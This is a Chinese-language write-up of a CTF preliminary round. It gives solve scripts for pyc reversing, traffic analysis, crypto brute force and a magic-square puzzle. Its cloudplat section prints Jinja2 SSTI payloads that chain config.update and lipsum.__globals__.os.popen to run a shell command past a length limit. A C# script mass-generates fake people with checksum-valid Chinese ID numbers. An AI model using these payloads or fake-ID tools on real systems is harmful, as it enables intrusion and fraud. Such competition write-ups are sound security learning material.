数信杯初赛

pyc

pyc逆向，通过用字节码翻译出源代码，发现只是一个随机数的异或，因为异或是对称的，所以直接跑一下加密逻辑就能出flag

解密脚本如下：

import random
# enc=[0x5d,0x76,0x55,0x4f,0x32,0x10,0x7d,0x20,0x79,0x64,0x7d,0x3f,0x7a,0x1a,0x5c,0x06,0x30,0x14,0x47,0x49,0x78,0x0d,0x0a,0x6a,0x1d,0x3e,0x42,0x50]
# # def encrypt_file(file_path):
# #     random.seed(114514)
# # # WARNING: Decompyle incomplete

# # file_path = './flag'
# # encrypt_file(file_path)
# def decrypt_file(enc):
#     random.seed(114514)
#     a=random.randint(0,128)
#     for i in range(0,len(enc)):
#         enc[i] = enc[i] ^ a    
#     for i in range(0,len(enc)):
#         print(chr(enc[i]),end='')

# decrypt_file(enc)
import random

def encrypt_file(file_path):
    random.seed(114514)
    with open(file_path, 'rb') as file:
        data = file.read()
    
    encrypted_data = b''
    for byte in data:
        key = random.randint(0, 128)
        encrypted_byte = chr(byte ^ key).encode()
        encrypted_data += encrypted_byte
    
    encrypted_file_path = file_path + '.enc'
    with open(encrypted_file_path, 'wb') as encrypted_file:
        encrypted_file.write(encrypted_data)
    
    return encrypted_file_path

encrypt_file(r"C:\Users\15003\Downloads\pyc\flag.enc")
   

MWatch

查看ATT包可以看见两个设备名称和Redmi K40和 Mi Smart Band5，继续跟进可以看见heart rate

在一些八十多的里面可以看见一个异常的128

结合就能得到flag

SU7

先对流量包中can流量根据操作码进行分类，写个脚本

# 指定文本文件路径
file_path = 'data.txt'
# 指定结果文件路径
result_file_path = 'result.txt'
# 分类字典，用于存储按分类标准分类后的数据
categories = {}
# 打开文本文件并按行读取数据
with open(file_path, 'r') as file:
  lines = file.readlines()
# 遍历每一行数据
for line in lines:
  # 提取种类信息
  category = line.split('#')[0][25:].strip()
  # 将数据根据分类标准进行分类
  if category not in categories:
    categories[category] = []
  categories[category].append(line)
# 打开结果文件并将分类结果写入
with open(result_file_path, 'w') as result_file:
  for category, lines in categories.items():
    result_file.write(f"Category {category}:\n")
    for line in lines:
      result_file.write(line)
    result_file.write("\n")
    

分类后看到244操作码中数据段有不同长度的情况

大部分数据段都是5位16进制，有差异部分为6位16进制

在6位16进制数据中有一条F6的数据

提交这条F6的数据

(1705919249.882828) vcan0 244#000000F60000

幻方

通过md5后得到一个3x3的数组

只需要填补X的位置的值使得行，列对角线的值相加相等

可以通过使用z3一把梭

from pwn import *
import hashlib
import itertools
from string import digits,ascii_letters,punctuation

sh=remote("IP",PORT)
result=sh.recvuntil("(")
print(result)
a=sh.recvuntil(")")
enc=""
# print(a)
for i in range(5,len(a)):
    if a[i]!=a[len(a)-1]:
        enc+=chr(a[i])
print(enc)


sha=sh.recvuntil(b"[+] Pl")
# print(sha)
sha256=""
for i in range(4,len(sha)):
    if sha[i]!=sha[-7]:
        sha256+=chr(sha[i])
    else:
        break    
print(sha256)

seee=ascii_letters+digits+punctuation
strlist=itertools.product(seee,repeat=4)
xxxx=''
for str_1 in strlist:
    tmp=str_1[0]+str_1[1]+str_1[2]+str_1[3]
    m=hashlib.sha256((tmp+enc).encode('UTF-8')).hexdigest()
    if m==sha256:
        xxxx=tmp
        break
    
# print(xxxx.encode())
sh.sendline(xxxx.encode())
# sh.interactive()
#########################################
rubbish=sh.recvline()
line1=sh.recvline()
line2=sh.recvline()
line3=sh.recvline()
print(line1)
print(line2)
print(line3)
data=[]
line1=line1.decode().split()
line2=line2.decode().split()
line3=line3.decode().split()
print(line1)
print(line2)
print(line3)
data=[]
data.append(line1)
data.append(line2)
data.append(line3)
print(data)

############################
from z3 import *

count=0
for i in range(3):
    for j in range(3):
        if data[i][j]!='X':
            data[i][j]=int(data[i][j])
        else:
            count=count+1

result=[0]*count
for i in range(count):
    result[i]=Int("result["+str(i)+"]")

s=Solver()
p=0
for i in range(3):
    for j in range(3):
        if data[i][j]=='X':
            data[i][j]=result[p]
            p=p+1
for i in range(2):
        s.add(sum(data[i][k] for k in range(3))==sum(data[i+1][k] for k in range(3)))

for i in range(2):
        s.add(sum(data[k][i] for k in range(3))==sum(data[k][i+1] for k in range(3)))

s.add(data[0][0]+data[1][1]+data[2][2]==data[0][2]+data[1][1]+data[2][0])
if s.check()==sat:
    k=s.model()
    e=0
    print(k)
    for i in range(3):
        for j in range(3):
            if type(data[i][j])==int:
               continue
            data[i][j]=k[result[e]].as_long()
            e=e+1
print(data)

sh.send(f"{data[0][0]}")
sh.send(b" ")
sh.send(f"{data[0][1]}")
sh.send(" ")
sh.send(f"{data[0][2]}")
sh.send(b"\n")
sh.send(f"{data[1][0]}")
sh.send(b" ")
sh.send(f"{data[1][1]}")
sh.send(b" ")
sh.send(f"{data[1][2]}")
sh.send(b"\n")
sh.send(f"{data[2][0]}")
sh.send(b" ")
sh.send(f"{data[2][1]}")
sh.send(b" ")
sh.send(f"{data[2][2]}")
sh.send(b"\n")
sh.interactive()

fun

xyz都在一百以内

aes是使用随机的key

seed是xyz的和

所以遍历0-300用爆破解出flag

from Crypto.Cipher import AES
import random
for seed in range(999):
    try: 
        random.seed(seed)
        key = random.randbytes(16)
        PATH=r"D:\xxx\test\encrypted_flag.bin"
        with open(PATH, "rb") as file_in:
           nonce = file_in.read(16)
           tag = file_in.read(16)
           ciphertext = file_in.read()
        cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
        data=cipher.decrypt_and_verify(ciphertext, tag)
        print(data)
    except Exception as e:
        print(f"Error: {str(e)}")
        continue

messagebox

cloudplat

密码2b97cb3305e4b85ba2ba904cecff5601，登录
审计发现area拼接id后存在ssti，各限制长度20
采用多次update，最后拼接绕过

先发1、2，即{{config.update(p=request.args['0'])}}，get传参?0=cat+/flag
将p定义为命令cat /flag

再发3、4，即{{config.update(g=lipsum.__globals__)}}
将g定义为lipsum.__globals__

最后发5、6执行命令，即{{config.g.os.popen(config.p).read()}}
拼起来即为：{{lipsum.__globals__.os.popen(cat /flag).read()}}

usb

搜索发现hid data,然后过滤出相应的包。

导出包，然后打开查看到Leftover Capture data。

依次记录其中第五个和第六个数字，如果两个数字都是00就pass。
然后根据字表，转换成相应字符。得到一串少了一位的身份证号码。

找到在线身份证校验网站，得到最后一位缺失数字是3，md5后得到flag。

rwzip

解压发现有密码，工具爆破出密码是114514

打开里面的flag.txt文件，发现字符有点怪，经观察发现是只需要字母镜像翻转。

定向数据采集

根据提示，发1000个合法数据包即可

需要校验身份证信息，编写脚本生成并自动发送

using System.Net.Http.Json;
using System.Text.Json.Serialization;
using Bogus;


var users = new Faker<User>("zh_CN");
int a = 10000;
var generator = users
        .RuleFor(t => t.Gender, f => f.PickRandom<Gender>())
        .RuleFor(t => t.Name, (f,u) => f.Person.FullName)
        .RuleFor(u=>u.Birth, f=> f.Person.DateOfBirth)
        .RuleFor(t=>t.Phone,f=>$"139888{a++}")
        .RuleFor(t=>t.Ethnicity, f=>"汉族")
        .RuleFor(t=>t.IdCard, (f, u)=>genIdCard(u))
        .RuleFor(t=>t.Address, f=>f.Person.Address.ToString())
        .RuleFor(t=>t.Position, "打安全打的")
    ;

Console.WriteLine("请输入你的目标:");
var url = Console.ReadLine();
var result = generator.Generate(2000);
var httpClient = new HttpClient();
int cnt = 0;
foreach (var user in result)
{
   var res = await httpClient.PostAsJsonAsync($"http://{url}/submit", user);
   var bak = await res.Content.ReadAsStringAsync();
   Console.WriteLine(cnt++);
   if (bak.IndexOf("uccessf", StringComparison.Ordinal) == -1)
   {
       
   }
}
Console.ReadKey();

string genIdCard(User u)
{
    var idNumber = $"510100{u.Birth.Year:0000}{u.Birth.Month:00}{u.Birth.Day:00}{Random.Shared.Next(10,99)}{(u.Gender == Gender.Male ? 1 : 2)}0";
    // lastChar
    long n = 0;  
    if (long.TryParse(idNumber.Remove(17), out n) == false   
        || n < Math.Pow(10, 16) || long.TryParse(idNumber.Replace('x', '0').Replace('X', '0'), out n) == false)  
    {  
        return "false";//数字验证  
    }  
    string address = "11x22x35x44x53x12x23x36x45x54x13x31x37x46x61x14x32x41x50x62x15x33x42x51x63x21x34x43x52x64x65x71x81x82x91";  
    if (address.IndexOf(idNumber.Remove(2)) == -1)  
    {  
        return "false";//省份验证  
    }  
    string birth = idNumber.Substring(6, 8).Insert(6, "-").Insert(4, "-");  
    DateTime time = new DateTime();  
    if (DateTime.TryParse(birth, out time) == false)  
    {  
        return "false";//生日验证  
    }  
    string[] arrVarifyCode = ("1,0,x,9,8,7,6,5,4,3,2").Split(',');  
    string[] Wi = ("7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2").Split(',');  
    char[] Ai = idNumber.Remove(17).ToCharArray();  
    int sum = 0;  
    for (int i = 0; i < 17; i++)  
    {  
        sum += int.Parse(Wi[i]) * int.Parse(Ai[i].ToString());  
    }  
    int y = -1;  
    Math.DivRem(sum, 11, out y);
    idNumber = idNumber.Remove(17,1);
    idNumber += arrVarifyCode[y];
    return idNumber;
}

public enum Gender
{
    Male,
    Female
}


class User
{
    public string Name { get; set; }
    public Gender Gender { get; set; } // 0 boy\

    [JsonPropertyName("sex")] public string Sex => Gender == Gender.Male ? "男" : "女";
    
    public DateTime Birth {get; set; }
    [JsonPropertyName("phonenumber")]public string Phone { get; set; }
    public string Ethnicity { get; set; }
    [JsonPropertyName("idcard")]public string IdCard { get; set; }
    public string Address { get; set; }
    public string Position { get; set; }

    [JsonPropertyName("age")]
    public string Age => (DateTime.Now.Year - Birth.Year).ToString();

    [JsonPropertyName("experience")] public string Exp { get; set; } = Random.Shared.Next(2, 5).ToString();
}

发到1000后页面变成flag